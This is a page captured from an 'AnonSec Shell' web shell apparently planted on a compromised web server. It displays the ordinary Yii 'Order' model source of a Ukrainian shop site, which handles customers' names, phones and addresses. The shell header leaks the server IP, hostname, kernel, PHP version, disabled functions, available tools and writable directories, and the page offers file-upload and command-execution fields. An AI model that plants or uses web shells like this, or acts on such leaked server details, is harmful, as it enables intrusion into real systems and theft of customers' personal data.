AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/models/Order.php
<?php

namespace app\models;

use Yii;

/**
 * This is the model class for table "orders".
 *
 * @property int|null $id
 * @property int $product_id
 * @property string $lang
 * @property int $quantity
 * @property int $price
 * @property string $name
 * @property string $phone
 * @property string|null $email
 * @property int $shipment_id
 * @property string $address
 * @property string|null $comment
 * @property string $shipment
 * @property array[int] $statuses
 * @property int $recentStatus
 */
class Order extends \yii\db\ActiveRecord
{
    /**
     * {@inheritdoc}
     */
    public static function tableName()
    {
        return 'orders';
    }

    /**
     * {@inheritdoc}
     */
    public function rules()
    {
        return [
            [['lang', 'quantity', 'price', 'name', 'phone', 'shipment_id', 'address'], 'required'],
            [['product_id', 'quantity', 'price', 'shipment_id'], 'integer'],
            ['product_id', 'default', 'value' => 1],
            [['lang'], 'string', 'max' => 2],
            [['name', 'email'], 'string', 'max' => 50],
            ['phone', 'match', 'pattern'=>'/^(((38)?0\d{2})|(7\d{3}))\d{7}$/'],
            ['phone', 'filter', 'filter' => function($value) {
                return strlen($value) == 10 ? '38' . $value : $value;
            }],
            ['email', 'email', 'enableIDN' => true],
            ['shipment_id', 'exist', 'targetClass' => ShippingMethod::class, 'targetAttribute' => ['shipment_id' => 'id']],
            [['address'], 'string', 'max' => 200],
            [['comment'], 'string', 'max' => 300],
        ];
    }

    /**
     * {@inheritdoc}
     */
    public function afterSave($insert, $changedAttributes)
    {
        parent::afterSave($insert, $changedAttributes);
        if ($insert) {
            $status = new OrderStatuses;
            $status->order_id = $this->id;
            $status->status_id = 1; // State "In queue"
            $status->status_date = (new \DateTime())->format('Y-m-d H:i:s');
            $status->save();
        }
    }

    /**
     * {@inheritdoc}
     */
    public function attributeLabels()
    {
        return [
            'id' => 'ID',
            'product_id' => '#',
            'lang' => 'Мова',
            'quantity' => 'К-сть',
            'price' => 'За ціною',
            'name' => 'П. І. П.',
            'phone' => 'Телефон',
            'email' => 'Email',
            'shipment_id' => 'Код доставки',
            'shipment' => 'Доставка',
            'address' => 'Адреса',
            'comment' => 'Примітка',
        ];
    }

    public function getShipment()
    {
        return $this->hasOne(ShippingMethod::class, ['id' => 'shipment_id']);
    }

    public function getStatuses()
    {
        return $this->hasMany(OrderStatuses::class, ['order_id' => 'id'])->orderBy('status_date');
    }
}

Anon7 - 2022
AnonSec Team